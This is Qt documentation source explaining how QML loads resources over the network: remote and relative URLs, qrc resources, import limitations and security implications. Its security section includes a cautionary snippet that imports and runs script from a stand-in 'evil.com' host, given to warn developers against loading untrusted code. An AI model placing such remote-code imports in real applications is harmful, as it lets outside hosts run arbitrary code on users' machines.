/****************************************************************************
**
** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
** Contact: http://www.qt-project.org/legal
**
** This file is part of the documentation of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:FDL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia.  For licensing terms and
** conditions see http://qt.digia.com/licensing.  For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Free Documentation License Usage
** Alternatively, this file may be used under the terms of the GNU Free
** Documentation License version 1.3 as published by the Free Software
** Foundation and appearing in the file included in the packaging of
** this file.  Please review the following information to ensure
** the GNU Free Documentation License version 1.3 requirements
** will be met: http://www.gnu.org/copyleft/fdl.html.
** $QT_END_LICENSE$
**
****************************************************************************/
/*!
\page qtqml-documents-networktransparency.html
\title Resource Loading and Network Transparency
\brief about loading files and resources across a network

QML supports network transparency by using URLs (rather than file names) for all
references from a QML document to other content. This means that anywhere a URL source is expected,
QML can handle remote resources as well as local ones, for example in the following image source:

\qml
Image {
    source: "http://www.example.com/images/logo.png"
}
\endqml

Since a \e relative URL is the same
as a relative file, development of QML on regular file systems remains simple:

\qml
Image {
    source: "images/logo.png"
}
\endqml

Network transparency is supported throughout QML, for example:

\list
\li Fonts - the \c source property of FontLoader is a URL
\li WebViews - the \c url property of WebView (obviously!)
\endlist

Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load
\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
For example if the qmldir file contains the line "World World.qml", it will load
\tt http://example.com/mystuff/World.qml
Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
similarly be loaded from the network.


\section1 Relative vs. Absolute URLs

Whenever an object has a property of type URL (QUrl), assigning a string to that
property will actually assign an absolute URL - by resolving the string against
the URL of the document where the string is used.

For example, consider this content in \tt{http://example.com/mystuff/test.qml}:

\qml
Image {
    source: "images/logo.png"
}
\endqml

The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.

If the string assigned to a URL is already an absolute URL, then "resolving" does
not change it and the URL is assigned directly.


\section1 QRC Resources

One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
that is compiled into the executable:

\code
    QQuickView *view = new QQuickView;
    view->setUrl(QUrl("qrc:/dial.qml"));
\endcode

The content itself can then use relative URLs, and so be transparently unaware that the content is
compiled into the executable.


\section1 Limitations

The \c import statement is only network transparent if it has an "as" clause.

More specifically:
\list
\li \c{import "dir"} only works on local file systems
\li \c{import libraryUri} only works on local file systems
\li \c{import "dir" as D} works network transparently
\li \c{import libraryUrl as U} works network transparently
\endlist


\section1 Implications for Application Security

The QML security model is that QML content is a chain of trusted content: the user
installs QML content that they trust in the same way as they install native Qt applications,
or programs written with runtimes such as Python and Perl. That trust is establish by any
of a number of mechanisms, including the availability of package signing on some platforms.

In order to preserve the trust of users, QML application developers should not load
and execute arbitrary JavaScript or QML resources.  For example, consider the QML code below:

\qml
import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}
\endqml

This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.

As with any application accessing other content beyond its control, a QML application should
perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}
*/